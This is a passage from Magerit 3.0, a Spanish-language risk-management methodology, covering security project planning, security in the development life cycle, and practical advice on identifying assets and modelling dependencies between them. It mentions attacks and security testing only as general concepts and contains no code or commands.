• Si se estima adecuado un desarrollo específico hay que determinar:
• la especificación funcional y no-funcional del desarrollo
• el método de desarrollo que garantice la seguridad del nuevo componente
• los mecanismos de medida (controles) que debe llevar empotrados
• los criterios de aceptación
• el plan de mantenimiento: incidencias y evolución

6.2. Tarea PS.2: Planificación de los proyectos de seguridad

PS.2: Plan de ejecución
Objetivos
• Ordenar temporalmente los programas de seguridad
• Resultados de las actividades de análisis y tratamiento de riesgos
• Resultados de la tarea PS.1 Programas de seguridad
Productos de salida
• Cronograma de ejecución del plan
• Plan de Seguridad
• Análisis de riesgos (ver “Método de Análisis de Riesgos”)
Participantes
• Departamento de desarrollo
• Departamento de compras
Hay que ordenar en el tiempo los proyectos de seguridad teniendo en cuenta los siguientes facto-
res:
• la criticidad, gravedad o conveniencia de los impactos y/o riesgos que se afrontan, teniendo
máxima prioridad los programas que afronten situaciones críticas
• el coste del programa
• la disponibilidad del personal propio para responsabilizarse de la dirección (y, en su caso,
ejecución) de las tareas programadas
• otros factores como puede ser la elaboración del presupuesto anual de la Organización, las
relaciones con otras organizaciones, la evolución del marco legal, reglamentario o contrac-
tual, etc.
Típicamente un plan de seguridad se planifica en tres niveles de detalle:
Plan director (uno).
A menudo denominado “plan de actuación”, trabaja sobre un periodo largo (típicamente en-
tre 3 y 5 años), estableciendo las directrices de actuación.
Plan anual (una serie de planes anuales).
Trabaja sobre un periodo corto (típicamente entre 1 y 2 años), estableciendo la planificación
de los programas de seguridad.
Plan de proyecto (un conjunto de proyectos con su planificación).
Trabaja en el corto plazo (típicamente menos de 1 año), estableciendo el plan detallado de
ejecución de cada programa de seguridad.
Se debe desarrollar un (1) plan director único, que es el que da perspectiva y unidad de objetivos
a las actuaciones puntuales. Este plan director permite ir desarrollando planes anuales que, de-
ntro del marco estratégico, van estructurando la asignación de recursos para la ejecución de las
tareas, en particular partidas presupuestarias. Y, por último, habrá una serie de proyectos que ma-
terializan los programas de seguridad.

6.3. Tarea PS.3: Ejecución del plan

PS.3: Ejecución
Objetivos
• Alcanzar los objetivos previstos en el plan de seguridad para cada proyecto planificado
• Resultados de las actividades PS.1 (proyectos de seguridad) y PS.2 (planificación)
• Proyecto de seguridad que nos ocupa
Productos de salida
• Salvaguardas implantadas
• Normas de uso y procedimientos de operación
• Sistema de indicadores de eficacia y eficiencia del desempeño de los objetivos de seguri-
dad perseguidos
• Modelo de valor actualizado
• Mapa de riesgos actualizado
• Estado de riesgo actualizado (impacto y riesgo residuales).
• Análisis de riesgos (ver “Método de Análisis de Riesgos”)
Participantes
• El equipo de proyecto: evolución del análisis de riesgos
• Personal especializado en la salvaguarda en cuestión
6.4. Lista de control de los planes de seguridad

√ actividad tarea
Se han definido los proyectos constituyentes PS.1
Se han definido las interdependencias entre proyectos (necesidades de que uno avan- PS.1
ce para que progrese otro)
Se han asignado recursos PS.2
— disponibles para los proyectos en curso
— previstos para los proyectos que seguirán en el futuro
Se han definido roles y responsabilidades PS.1
Se ha establecido un calendario de ejecución PS.2
Se han definido indicadores de progreso PS.3
Se han previsto necesidades de concienciación y formación PS.1
Se han previsto necesidades de documentación: PS.1
— normativa de seguridad y
— procedimientos operativos de seguridad

Magerit 3.0 Desarrollo de sistemas de información
7. Desarrollo de sistemas de información

Las aplicaciones (software) constituyen un tipo de activos frecuente y nuclear para el tratamiento
de la información en general y para la prestación de servicios basados en aquella información. La
presencia de aplicaciones en un sistema de información es siempre una fuente de riesgo en el
sentido de que constituyen un punto donde se pueden materializar amenazas. A veces, además,
las aplicaciones son parte de la solución en el sentido de que constituyen una salvaguarda frente
a riesgos potenciales. En cualquier caso es necesario que el riesgo derivado de la presencia de
aplicaciones esté bajo control.
El análisis de los riesgos constituye una pieza fundamental en el diseño y desarrollo de sistemas
de información seguros. Es posible, e imperativo, incorporar durante la fase de desarrollo las fun-
ciones y mecanismos que refuerzan la seguridad del nuevo sistema y del propio proceso de desa-
rrollo, asegurando su consistencia y seguridad, completando el plan de seguridad vigente en la
Organización. Es un hecho reconocido que tomar en consideración la seguridad del sistema antes
y durante su desarrollo es más efectivo y económico que tomarla en consideración a posteriori. La
seguridad debe estar embebida en el sistema desde su primera concepción.
El Esquema Nacional de Seguridad recoge el riesgo como pieza fundamental de la seguridad de
los sistemas en varios de sus principios básicos:
Artículo 5. La seguridad como un proceso integral.
1. La seguridad se entenderá como un proceso integral constituido por todos los elementos
técnicos, humanos, materiales y organizativos, relacionados con el sistema. La aplicación
del Esquema Nacional de Seguridad estará presidida por este principio, que excluye
cualquier actuación puntual o tratamiento coyuntural.
2. Se prestará la máxima atención a la concienciación de las personas que intervienen en el
proceso y a sus responsables jerárquicos, para que, ni la ignorancia, ni la falta de organi-
zación y coordinación, ni instrucciones inadecuadas, sean fuentes de riesgo para la segu-
ridad.
1. El análisis y gestión de riesgos será parte esencial del proceso de seguridad y deberá
mantenerse permanentemente actualizado.
2. La gestión de riesgos permitirá el mantenimiento de un entorno controlado, minimizando
los riesgos hasta niveles aceptables. La reducción de estos niveles se realizará mediante
el despliegue de medidas de seguridad, que establecerá un equilibrio entre la naturaleza
de los datos y los tratamientos, los riesgos a los que estén expuestos y las medidas de
seguridad.
Artículo 9. Reevaluación periódica.
Las medidas de seguridad se reevaluarán y actualizarán periódicamente, para adecuar
su eficacia a la constante evolución de los riesgos y sistemas de protección, llegando in-
cluso a un replanteamiento de la seguridad, si fuese necesario.
Durante el desarrollo de un sistema de información, se pueden identificar dos tipos de actividades
diferenciadas:
• SSI: actividades relacionadas con la propia seguridad del sistema de información que se es-
tá desarrollando.
• SPD: actividades que velan por la seguridad del proceso de desarrollo del sistema de infor-
mación.
7.1. Inicialización de los procesos

Hay varias razones que pueden llevar a plantear el desarrollo de un nuevo sistema de información
o la modificación de uno ya existente:
Nuevos servicios y/o datos.
• Requiere el desarrollo de un nuevo sistema o la modificación de un sistema ya operativo.
Puede implicar la desaparición de partes actualmente operativas.
• La iniciativa la lleva el responsable de desarrollo, actuando el responsable de seguridad
como subsidiario.
Evolución tecnológica. Las tecnologías TIC se encuentran en evolución continua, pudiendo
presentarse cambios en las técnicas de desarrollo de sistemas, en los lenguajes o las plata-
formas de desarrollo, en las plataformas de explotación, en los servicios de explotación, en
los servicios de comunicaciones, etc.
• Requiere el desarrollo de un nuevo sistema o la modificación de un sistema ya operativo.
Puede implicar la desaparición de partes actualmente operativas.
• La iniciativa la lleva el responsable de desarrollo, actuando el responsable de seguridad
como subsidiario.
Modificación de la calificación de seguridad de servicios o datos.
• Típicamente requiere la modificación de un sistema ya operativo. Raramente implica el
desarrollo de un nuevo sistema o la desaparición de partes actualmente operativas.
• La iniciativa la lleva el responsable de seguridad, actuando el responsable de sistemas
como subsidiario.
Consideración de nuevas amenazas. La evolución de las tecnologías y los servicios de co-
municaciones pueden habilitar nuevas amenazas o convertir amenazas que eran desprecia-
bles en el pasado en amenazas relevantes en el futuro.
• Típicamente requiere la modificación del sistema, bien en sus componentes o, más fre-
cuentemente, en sus condiciones de explotación. Raramente implica el desarrollo de un
nuevo sistema o la desaparición de partes actualmente operativas.
como subsidiario.
Modificación de los cri terios de calificación de riesgos. Puede venir inducido por criterios
de calidad operativa, por novedades en la legislación aplicable, en la reglamentación secto-
rial o por acuerdos o contratos con terceros.
• Típicamente requiere la modificación del sistema. Raramente implica el desarrollo de un
nuevo sistema o la desaparición de partes actualmente operativas.
como subsidiario.
7.2. SSI – Seguridad del sistema de información

Toda la existencia de un sistema de información puede verse como etapas de concreción crecien-
te, desde una perspectiva muy global durante los procesos de planificación hasta una visión en
detalle durante el desarrollo y explotación. No obstante, este ciclo de vida no es lineal, sino que
frecuentemente habrá que tantear opciones alternativas y revisar decisiones tomadas.
El análisis de riesgos debe basar sus estimaciones de impacto y riesgo en la realidad de los sis-
temas, concretada en sus activos. En consecuencia, se puede entender el modelo de valor como
evolutivo, recogiendo en cada momento el nivel de detalle de que se dispone. Magerit, como me-
todología, permite un tratamiento sistemático y homogéneo que es esencial para poder comparar
opciones alternativas y para gestionar la evolución de los sistemas.
Como principio básico debe considerarse que el análisis de los riesgos debe seguir fielmente la
realidad del sistema de información y su contexto, facilitando el mejor análisis de riesgos posible
para poder tomar decisiones de tratamiento adecuadas a cada momento.

7.2.1. Ciclo de vida de las aplicaciones

Típicamente, una aplicación sigue un ciclo de vida a través de varias fases:
especificación
adquisición desarrollo desarrollo

(estándar) subcontratado propio
aceptación
despliegue
operación mantenimiento
Ilustración 16. Ciclo de vida de las aplicaciones
Especificación. En esta fase se determinan los requisitos que debe satisfacer la aplicación y
se elabora un plan para las siguientes fases.
Adquisición o desarrollo. Para traducir una especificación en una realidad, se puede adquirir
un producto, o se puede desarrollar, bien en casa, bien por subcontratación externa.
Aceptación. Tanto si es una aplicación nueva como si es modificación de una aplicación ante-
rior, nunca una aplicación debe entrar en operación sin haber sido formalmente aceptada.
Despliegue. Consistente en instalar el código en el sistema y configurarlo para que entre en
operación.
Operación. La aplicación se usa por parte de los usuarios, siendo atendidos los incidentes por
parte de usuarios y/o los operadores.
Mantenimiento. Bien porque aparecen nuevos requisitos, bien porque se ha detectado un fa-
llo, la aplicación puede requerir un mantenimiento que obligue a regresar a cualquiera de las
etapas anteriores, en última instancia a la especificación básica.
MÉTRICA versión 3
La metodología MÉTRICA Versión 3 ofrece a las Organizaciones un instrumento para la sistemati-
zación de las actividades que dan soporte al ciclo de vida del software. MÉTRICA versión 3 identi-
fica los siguientes elementos:

planificación gestión de
PSI configuración
desarrollo aseguramiento
de la calidad
EVS ASI DSI CSI IAS
gestión de
proyectos
mantenimiento
MSI seguridad
Ilustración 17. Métrica 3 - Actividades
Métrica 3
especificación PSI – Planificación del sistema de información
EVS – Estudio de viabilidad del sistema
ASI – Análisis del sistema de información
adquisición o desarrollo DSI – Diseño del sistema de información.
CSI – Construcción del sistema de información
aceptación IAS – Implantación y aceptación del sistema
despliegue
operación
mantenimiento MSI – Mantenimiento del sistema de información
Tabla 7. Ciclo de vida y actividades en Métrica 3
7.2.2. Contexto
Se debe determinar el contexto general:
— política de seguridad y normas
— requisitos de cumplimiento normativo
— obligaciones contractuales
— roles y funciones
— criterios de valoración de información y servicios
— criterios de valoración de riesgos
— criterios de aceptación de riesgos
En particular, hay que establecer unos procedimientos operativos que instrumenten la comunica-
ción entre las tareas de desarrollo y las tareas de análisis y tratamiento de riesgos.
• La Dirección aporta los servicios necesarios y la calidad de la seguridad deseada.
• El equipo de desarrollo aporta los elementos técnicos que materializan la aplicación.
• El equipo de análisis de riesgos aporta un juicio crítico sobre la seguridad del sistema.
• La misma Dirección aprueba el riesgo residual.
7.2.3. Fase de especificación: adquisición de datos

Se debe recopilar información sobre
— la información esencial y sus requisitos de seguridad
— los servicios esenciales y sus requisitos de seguridad
— el contexto en el que se va a desarrollar y explotar el sistema
En particular se debe establecer un perfil de amenazas, sean naturales, del entorno o de origen
humano, sean accidentales o deliberadas. La caracterización del potencial del atacante debe for-
mar parte de las especificaciones del diseño y su modificación más adelante en el ciclo de vida del
sistema será objeto de un nuevo análisis y decisión de tratamiento.
7.2.4. Fase de diseño: estudio de opciones

La toma de decisiones de tratamiento de los riesgos puede recomendar salvaguardas evaluando
su efecto en los indicadores de impacto y riesgo. Las decisiones que se adopten dependerán de
los criterios establecidos en la política de seguridad de la Organización y de otras consideraciones
específicas de cada caso. Si bien la política de seguridad establece un marco de referencia que
no puede violentarse, es habitual que no prevea todos los detalles técnicos y coyunturales del
servicio para tomar decisiones precisas.
Debido a la interrelación entre los elementos que constituyen un sistema, no es suficiente proteger
un cierto tipo de activos para proteger el conjunto. Por ello, la toma de decisiones de tratamiento
es local sobre una parte del sistema, pero siempre con un análisis global sobre la seguridad del
conjunto.
Análisis y tratamiento de los riesgos

La seguridad requerida para la información que se maneja y los servicios que se prestan quedó
fijada en la fase de especificación y no se puede modificar ahora.
El equipo de desarrollo y el equipo de análisis de riesgos trabajan de forma iterativa hasta encon-
trar una solución que satisfaga a ambas partes. Normalmente la iniciativa la toma el equipo de de-
sarrollo proponiendo una solución técnica que responda a los requisitos funcionales del sistema.
El equipo de seguridad analiza la propuesta informando de los riesgos asociados y, en su caso,
proponiendo salvaguardas que pudieran dejar el riesgo en niveles aceptables. En la medida en
que las salvaguardas propuestas afecten al diseño, el equipo rehará su propuesta para un nuevo
análisis.
La especificación de salvaguardas debe incorporar tanto los mecanismos de actuación como los
mecanismos de configuración, monitorización y control de su eficacia y eficiencia. Es frecuente
que aparezcan algunos desarrollos específicamente destinados a configurar el conjunto de salva-
guardas y a monitorizar su operación.
Es posible que el equipo de desarrollo pueda presentar dos o más opciones, en cuyo todas ellas
serán evaluadas en lo que respecta a riesgo y salvaguardas requeridas. El informe de riesgos se-
rá un elemento más de decisión entre las diferentes opciones.
Cuando ambos equipos lleguen a una situación estable, con un diseño técnicamente viable, con
un riesgo aceptable y unos requisitos aceptables de recursos, la propuesta se eleva para su apro-
bación.
Como resultado de esta fase, dispondremos de especificaciones técnicas de desarrollo acompa-
ñadas de un análisis de los riesgos y sus decisiones de tratamiento.
7.2.5. Soporte al desarrollo: puntos críticos

Durante el desarrollo hay que incorporar las salvaguardas aprobadas en la fase de diseño, así
como controles que permitan monitorizar su eficacia. Estos requisitos de monitorización se suelen
concretar en los siguientes aspectos:
— registros de actividad
— mecanismos para procesar estos registros e informar de la efectividad del sistema de protec-
ción
— disparo de alarmas cuando los hecho evidencian un problema de seguridad

El despliegue de estos elementos viene modulado por el nivel de riesgo potencial que se soporta
en cada componente del sistema de información.
Durante el desarrollo conviene gestionar los riesgos según se indica en la sección relativa a “Se-
guridad del Proceso de Desarrollo” más adelante.
7.2.6. Aceptación y puesta en marcha: puntos críticos

Cuando el sistema se prueba antes de ponerlo en funcionamiento, debe revisarse que todos los
registros de actividad funcionan correctamente, así como los sistemas de procesamiento y de
alarma incorporados al sistema.
También debe comprobarse que el sistema responde al diseño previsto, concretamente que las
salvaguardas están desplegadas, que su despliegue es efectivo y que no existen formas de cir-
cunvalarlas u obviarlas: es decir que el sistema no permite puertas traseras fuera de control.
Sistema(s) de identificación y autenticación:
— todo acceso al sistema requiere que el usuario se identifique y se autentique según lo previs-
to, bloqueando cualquier otra forma de acceso
— los mecanismos de identificación y autenticación están protegidos para evitar que un atacan-
te pueda acceder a información o mecanismos que pongan en peligro su efectividad
Sistema(s) de control de acceso:
— todo acceso a la información y a los servicios verifica previamente que el usuario tiene las au-
torizaciones pertinentes
Servicios externalizados: cuando parte de la operación del sistema está delegada en un tercero:
— hay que revisar los contratos de prestación del servicio
— hay que revisar la completitud de los procedimientos de reporte y gestión de incidencias
Si el sistema no refleja el modelo cuyos riesgos han sido analizados, será rechazado sin pasar a
producción.
Hay que verificar que la documentación de seguridad es clara y precisa. Esto incluye normativa,
procedimientos operacionales, material de concienciación y de formación.
Sin poder ser exhaustivos, las siguientes líneas muestran pruebas de aceptación que conviene
realizar:
— datos de prueba
• si no son reales, deben ser realistas
• si no se puede evitar que sean reales, hay que controlar copias y acceso
— pruebas funcionales (de los servicios de seguridad)
• simulación de ataques: verificando que se detectan y reportan
• pruebas en carga: verificando que no se obvian las medidas de protección
• intrusión controlada (hacking ético)
— inspección de servicios / inspección de código
• fugas de información: canales encubiertos, a través de los registros, etc.
• puertas traseras de acceso
• escalado de privilegios
• problemas de desbordamiento de registros (buffer overflow)

7.2.7. Operación: análisis y gestión dinámicos

Durante la vida operativa del sistema podemos encontrarnos con cambios en el escenario que in-
validan el análisis de riesgos realizado anteriormente. En entornos formales, el sistema requiere
una re-acreditación para seguir operando bajo las nuevas condiciones.
Nuevas amenazas
Bien porque se descubren nuevas formas de ataque, bien porque la valoración de la capacidad
del atacante se modifica. En estos casos hay que rehacer el análisis y decidir cómo tratar los nue-
vos resultados.
Vulnerabilidades sobrevenidas
Por ejemplo, defectos reportados por los fabricantes. En estos casos hay que analizar la nueva
situación de riesgo y determinar cual es su tratamiento adecuado para seguir operando. Lo ideal
es parchear el sistema; pero bien porque el parche no existe o porque su aplicación requiere unos
recursos de los que no disponemos, podemos encontrarnos en una situación nueva ante la cual
hay que decidir cómo tratar el riesgo.
Incidentes de seguridad
Los incidentes de seguridad pueden indicarnos un fallo en nuestra identificación de amenazas o
en su valoración, obligando a revisar el análisis.
Un incidente de seguridad también puede suponer un cambio en el sistema. Por ejemplo, una in-
trusión significa que no podemos contar con la defensa perimetral: tenemos un nuevo sistema,
con el atacante en un nuevo lugar y con unas opciones nuevas.
Cambios en la utilización del sistema

A veces un sistema ya operacional no se utiliza como estaba previsto:
— nueva información con diferentes requisitos de seguridad
— nuevos servicios con diferentes requisitos de seguridad
— nuevos procedimientos operativos
En términos del análisis de riesgos, esto significa una diferente valoración de los activos o de las
salvaguardas desplegadas.
Es posible que la alteración del sistema en alguna de las facetas contempladas en los puntos an-
teriores lleve a unos niveles de riesgo que no sean aceptables, obligando a un ciclo de manteni-
miento que rediseñe el sistema o parte de él.
7.2.8. Ciclos de mantenimiento: análisis marginal

Cuando se propone una modificación del sistema, los nuevos elementos deben llevar a un nuevo
análisis de riesgos, regresando a los ciclos iterativos de propuestas y soluciones de la fase de di-
seño.
7.2.9 Terminación
Cuando un sistema de información se retira del servicio, hay que realizar una serie de tareas de
seguridad proporcionadas al riesgo al que están sometidos los componentes del sistema a retirar.
En concreto:
— proteger el valor de la información manejada: retención y control de acceso
— proteger las claves criptográficas de cifra y de autenticación: retención y control de acceso
Todo lo que no sea necesario retener se destruirá de forma segura:
— datos operacionales

— copias de seguridad
— configuración de los sistemas
7.2.10 Documentación de seguridad

La documentación de seguridad evoluciona con el ciclo de vida del sistema:
fase documentación de seguridad

contexto se revisa la política de seguridad
se revisa la normativa de seguridad
especificación se amplia la normativa de seguridad
diseño se prepara el índice de procedimientos operacionales de seguridad
desarrollo se elaboran los procedimientos operacionales de seguridad
aceptación y se validan los procedimientos operacionales de seguridad
puesta en operación
operación se actualizan los procedimientos operacionales de seguridad
mantenimiento se actualizan los procedimientos operacionales de seguridad
Tabla 8. Documentación de seguridad a lo largo del ciclo de vida de las aplicaciones
7.3. SPD – Seguridad del proceso de desarrollo

Lo que se comenta en esta sección afecta a todas y cada uno de los procesos y subprocesos de
Métrica: PSI, EVS, ASI, DSI, CSI, IAS y MSI.
La interfaz de seguridad de Métrica identifica hasta 4 tareas que se repiten en cada proceso. Aquí
se tratan de forma compacta:
Activos a considerar
En cada proceso se requiere un análisis de riesgos específico que contemple:
• los datos que se manejan:
• especificaciones y documentación de los sistemas
• código fuente
• manuales del operador y del usuario
• datos de prueba
• el entorno software de desarrollo:
• herramientas de tratamiento de la documentación: generación, publicación, control de do-
cumentación, etc.
• herramientas de tratamiento del código: generación, compilación, control de versiones,
etc.
• el entorno hardware de desarrollo: equipos centrales, puestos de trabajo, equipos de archi-
vo, etc.
• el entorno de comunicaciones de desarrollo
• las instalaciones
• el personal involucrado: desarrolladores, personal de mantenimiento y usuarios (de pruebas)
Actividades
Se siguen los siguientes pasos
1. el equipo de desarrollo expone a través del jefe de proyecto los elementos involucrados
2. el equipo de análisis de riesgos recibe a través del director de seguridad la información de
los activos involucrados
3. el equipo de análisis de riesgos realiza el análisis
4. el equipo de análisis de riesgos expone a través de su director el estado de riesgo, propo-
niendo una serie de medidas a tomar
5. el equipo de desarrollo elabora un informe del coste que supondrían las medidas recomen-
dadas, incluyendo costes de desarrollo y desviaciones en los plazos de entrega
6. la dirección califica el riesgo y decide las salvaguardas a implantar oyendo el informe con-
junto de análisis de riesgos y coste de las soluciones propuestas
7. el equipo de análisis de riesgos elabora los informes correspondientes a las soluciones
adoptadas
8. el equipo de seguridad elabora la normativa de seguridad pertinente
9. la dirección aprueba el plan para ejecutar el proceso con la seguridad requerida
Resultados del análisis y gestión de riesgos

En todos los casos
• salvaguardas recomendadas
• normas y procedimientos de tratamiento de la información
Otras consideraciones
Aunque cada proceso requiere su análisis de riesgos específico, es cierto que se trata de modelos
tremendamente similares por lo que el mayor esfuerzo lo llevará el primero que se haga, siendo
los demás adaptaciones de aquel primero.
En los primeros procesos, notablemente en PSI, pueden aparecer contribuciones de alto nivel que
afecten a la normativa de seguridad de la Organización e incluso a la propia política de seguridad
corporativa.
Entre las normas y procedimientos generados es de destacar la necesidad de una normativa de
clasificación de la documentación y procedimientos para su tratamiento.
En todos los procesos hay que prestar una especial atención al personal involucrado. Como reglas
básicas conviene:
• identificar los roles y las personas
• determinar los requisitos de seguridad de cada puesto e incorporarlos a los criterios de se-
lección y condiciones de contratación
• limitar el acceso a la información: sólo por necesidad
• segregar tareas; en particular evitar la concentración en una sola persona de aquellas apli-
caciones o partes de una aplicación que soporten un alto riesgo
7.4. Referencias
• “Seguridad de las Tecnologías de la Información. La construcción de la confianza para una
sociedad conectada”, E. Fernández-Medina y R. Moya (editores). AENOR, 2003.
• Metodología de Planificación, Desarrollo y Mantenimiento de sistemas de información. Mé-
trica v3. Consejo Superior de Informática y para el Impulso de la Administración Electrónica,
2000.

Magerit 3.0 Consejos prácticos
8. Consejos prácticos
Todo el planteamiento anterior puede quedar un poco abstracto y no permitir al analista progresar
con solvencia a través de los pasos indicados si confundiera lo importante con lo esencial. Por ello
se ha considerado conveniente incluir algunos comentarios que puedan servir de guía para avan-
zar.
Se recomienda también la consulta del "Catálogo de Elementos" que recopila tipos de activos, di-
mensiones de valoración, guías de valoración, catálogos de amenazas y de salvaguardas.
8.1. Alcance y profundidad

Magerit cubre un espectro muy amplio de intereses de sus usuarios. En el planteamiento de estas
guías se ha seguido un criterio “de máximos”, reflejando todo tipo de activos, todo tipo de aspec-
tos de seguridad; en definitiva, todo tipo de situaciones. En la práctica, el usuario puede encon-
trarse ante situaciones donde el análisis es más restringido. Siguen algunos casos prácticos fre-
cuentes:
• sólo se requiere un estudio de los ficheros afectos a la legislación de datos de carácter
personal
• sólo se requiere un estudio de las garantías de confidencialidad de la información
• sólo se requiere un estudio de la seguridad de las comunicaciones
• sólo se requiere un estudio de la seguridad perimetral
• sólo se requiere un estudio de la disponibilidad de los servicios (típicamente porque se
busca el desarrollo de un plan de contingencia)
• se busca una homologación o acreditación del sistema o de un producto
• se busca lanzar un proyecto de métricas de seguridad, debiendo identificar qué puntos
interesa controlar y con qué grado de periodicidad y detalle
• etc.
Estas situaciones, frecuentes, se traducen en un ajuste del alcance del análisis. Una estrategia
frecuente es identificar como servicio a proporcionar el ámbito que deseamos analizar en detalle y
usarlo como perímetro exterior de los activos, incorporando directamente valoraciones inferidas de
la información que se maneja y la calidad que se espera del servicio.
Además de cubrir un dominio más o menos extenso, pueden darse situaciones en las que se re-
quieren análisis de diferente calado:
• un análisis urgente para determinar los activos críticos
• un análisis global para determinar las medidas generales
• un análisis de detalle para determinar salvaguardas específicas para ciertos elementos
del sistema de información
• un análisis de detalle cuantitativo para determinar la oportunidad de un gasto elevado
• ...
En resumen, las tareas que a continuación se detallan hay que adaptarlas
1. horizontalmente al alcance que se requiere (tarea MAR.1)
2. verticalmente a la profundidad oportuna

8.2. Para identificar activos

Conviene repetir que sólo interesan los recursos de los sistemas de información que tienen un va-
lor para la Organización, bien en sí mismos, bien porque sobre sus hombros descansan activos de
valor.
A título de ejemplo, un servidor de presentación web es un activo de escaso valor propio. Esto
puede asegurarse porque no es normal que una Organización despliegue un servidor de presen-
tación web salvo que lo necesite para prestar un servicio. Todo su valor es imputado:
• la indisponibilidad del servidor supone la interrupción del servicio; el coste que suponga la
interrupción del servicio es el valor de disponibilidad que se le imputará al servidor
• el acceso no controlado al servidor pone en riesgo el secreto de los datos que presenta; el
coste que suponga la pérdida de confidencialidad de los datos es el valor de confidenciali-
dad que se le imputará al servidor
• ... y así con las diferentes dimensiones en consideración
Los intangibles
Ciertos elementos de valor de las organizaciones son de naturaleza intangible:
• credibilidad o buena imagen
• conocimiento acumulado
• independencia de criterio o actuación
• intimidad de las personas
• integridad física de las personas
Estos elementos pueden incorporarse al análisis de riesgos como activos 26 o como elementos de
valoración 27 . La cuantificación de estos conceptos es a menudo difícil; pero de una u otra forma
nunca puede olvidarse que lo que hay que proteger en última instancia es la misión de la Organi-
zación y el valor de ésta reside en estos intangibles como ya se reconocía en Magerit versión
1.0 28 .
Identificación de activos
Quizás la mejor aproximación para identificar los activos sea preguntar directamente:
• ¿Qué activos son esenciales para que usted consiga sus objetivos?
• ¿Hay más activos que tenga que proteger por obligación legal?
• ¿Hay activos relacionados con los anteriores?
Lo esencial es siempre la información que se maneja y los servicios que se prestan. A veces nos
interesa singularizar la diferente información y los diferentes servicios, mientras que otras veces
podemos agrupar varias informaciones o varios servicios que son equivalentes a efectos de requi-
sitos de seguridad. Incluso es frecuente hacer paquetes de { información + servicios } que la Di-
rección entiende como un uno.
No siempre es evidente qué es un activo en singular.
26 No todos los autores son unánimes en que sea una buena idea identificar activos intangibles. Es cierto
que son activos en el sentido financiero; pero es discutible que sean recursos propiamente dichos del
sistema de información. Ocurre que si a los interlocutores se les pregunta durante las entrevistas en tér-
minos de valores intangibles de la Organización, se pierde la perspectiva del día a día, pues la mayor
parte de los miembros de la Organización tienen objetivos más concretos y cercanos sobre los que sí
pueden emitir una opinión fundada.
27 Ver “Catálogo de Elementos”, capítulo “4. Criterios de valoración”.
28 Ver Magerit versión 1.0, “Guía de Procedimientos” / “3. Submodelo de Elementos” / “3.4. Impactos” /
”3.4.3. Tipos”.
Es habitual y práctico identificar lo que podríamos llamar subsistemas. Un subsistema
típico es un equipo informático, que bajo ese nombre contiene el hardware, los sopor-
tes de información (discos), periféricos, sistema operativo y aplicaciones (software) de
base tales como ofimática, antivirus, etc. Si es posible, trate ese conglomerado como
un activo único.
Si por ejemplo en su unidad tiene 300 puestos de trabajo PC, todos idénticos a efectos
de configuración y datos que manejan, no es conveniente analizar 300 activos idénti-
cos. Baste analizar un PC genérico que cuya problemática representa la de todos.
Agrupar simplifica el modelo. Una buena idea es tener tantos activos como perfiles de
configuración de equipos personales.
Otras veces se presenta el caso contrario, un servidor central que se encarga de mil
funciones: servidor de ficheros, de mensajería, de la intranet, del sistema de gestión
documental y ... En este caso conviene segregar los servicios prestados como servi-
cios (internos) independientes. Sólo cuando se llegue al nivel de equipamiento físico
habrá que hacer confluir en un único equipo todos los servicios. Si en el futuro se con-
sigue segregar servicios entre varios servidores, entonces es fácil revisar el modelo de
valor y dependencias.
Durante la fase de identificación de activos es frecuente que haya ciclos de expansión en los que
los activos complejos se desagregan en activos más sencillos, y fases de compresión, en las que
muchos activos se agrupan bajo un activo único (es frecuente hablar de subsistemas). Estos ci-
clos se repiten recurrentemente hasta que
— el conjunto de activos sea lo bastante detallado como para no olvidarnos de nada
— el número de activos no sea tan grande que nos perdamos
— la denominación de los activos no sea ambigua y recoja la terminología habitual en la Orga-
nización
en pocas palabras, el modelo debe ser manejable y fácil de explicar a los que van a tomar deci-
siones a partir de nuestras conclusiones.
8.3. Para descubrir y modelar las dependencias entre activos

Siempre hay que empezar poniendo en lo más alto la información y los servicios. Depende de ca-
da circunstancia el que sea antes la información o los servicios; pero lo más frecuente es que el
valor esté en la información y deba ser respetado por los servicios que la manejan.
Ilustración 18. Dependencias al nivel superior

A veces es más difícil de lo esperado porque los responsables de los activos suelen estar más
preocupados por el encadenamiento funcional entre activos que por la dependencia en el sentido
de propagación de valor (requisitos de seguridad).
Es necesario transmitir al interlocutor que no se busca qué es necesario para que el sistema fun-
ciones, sino al revés, se busca dónde puede fallar el sistema o, más precisamente, dónde puede
verse comprometida la seguridad de los activos.

• Si unos datos son importantes por su confidencialidad, se necesita saber en qué sitios van a
residir dichos datos y por qué lugares van a circular: en esos puntos pueden ser revelados.
• Si unos datos son importantes por su integridad, se necesita saber en qué sitios van a residir
dichos datos y por qué lugares van a circular: en esos puntos pueden ser alterados.
• Si un servicio es importante por su disponibilidad, se necesita saber qué elementos se usan
para prestar dicho servicio: el fallo de esos elementos detendría el servicio.
Estas consideraciones pueden plantearse con argumentos del tipo:
• si usted quisiera acceder a estos datos, ¿dónde atacaría para robarlos?
• si usted quisiera detener este servicio, ¿dónde atacaría para estropearlo?
Este planteamiento de “póngase en el lugar del atacante” es el que da pie a las técnicas denomi-
nadas “árboles de ataque” 29 que van parejas a lo que en esta metodología se denominan depen-
dencias. En efecto, un activo puede ser atacado directamente o indirectamente a través de otro
activo del que dependa.
Las anteriores consideraciones pueden desembocar en un diagrama “plano” de dependencias que
se puede (y conviene a efectos prácticos) convertir en un árbol más compacto. Así, es normal de-
cir que los servicios dependen del equipamiento, que depende a su vez de los locales donde se
ubican los equipos, sin necesidad de explicitar que los servicios dependen de los locales 30 . Es fre-
cuente identificar “servicios internos” o “servicios horizontales” que son agrupaciones de activos
para una cierta función. Estos servicios intermedios son eficaces para compactar el grafo de de-
pendencias, pues las dependencias de dichos servicios se interpretan sin ambigüedad como de-
pendencia de todos los elementos que prestan el servicio.
Ilustración 19. Servicios internos

Cuando se usen diagramas de flujo de datos o diagramas de procesos, no debe preocupar tanto
la ruta que siguen los datos como el conjunto (desordenado) de elementos que intervienen. Un
proceso depende de todos los activos que aparecen en su diagrama. Unos datos dependen de
todos los sitios por donde pasen. Tanto en unos como en otros diagramas es frecuente encontrar
descripciones jerarquizadas donde un proceso se subdivide en niveles de mayor detalle. Estas
jerarquías de diagramas pueden ayudar a elaborar el grafo de dependencias.
Hay organizaciones donde está muy clara la información que hay que tratar y a partir de ella po-
demos identificar los servicios que la tratan y el equipamiento desplegado.
29 Ver “Guía de Técnicas”.

30 En la "Guía de Técnicas" encontrará el modelo algorítmico para calcular las dependencias totales entre
activos a partir de las dependencias directas.
Hay organizaciones más centradas en los servicios que prestan, pudiendo partir de una enumera-
ción de servicios para asociarles la información que manejan y el equipamiento desplegado.
Hay veces que el análisis empieza por el inventariado de equipamiento y luego se va buscando
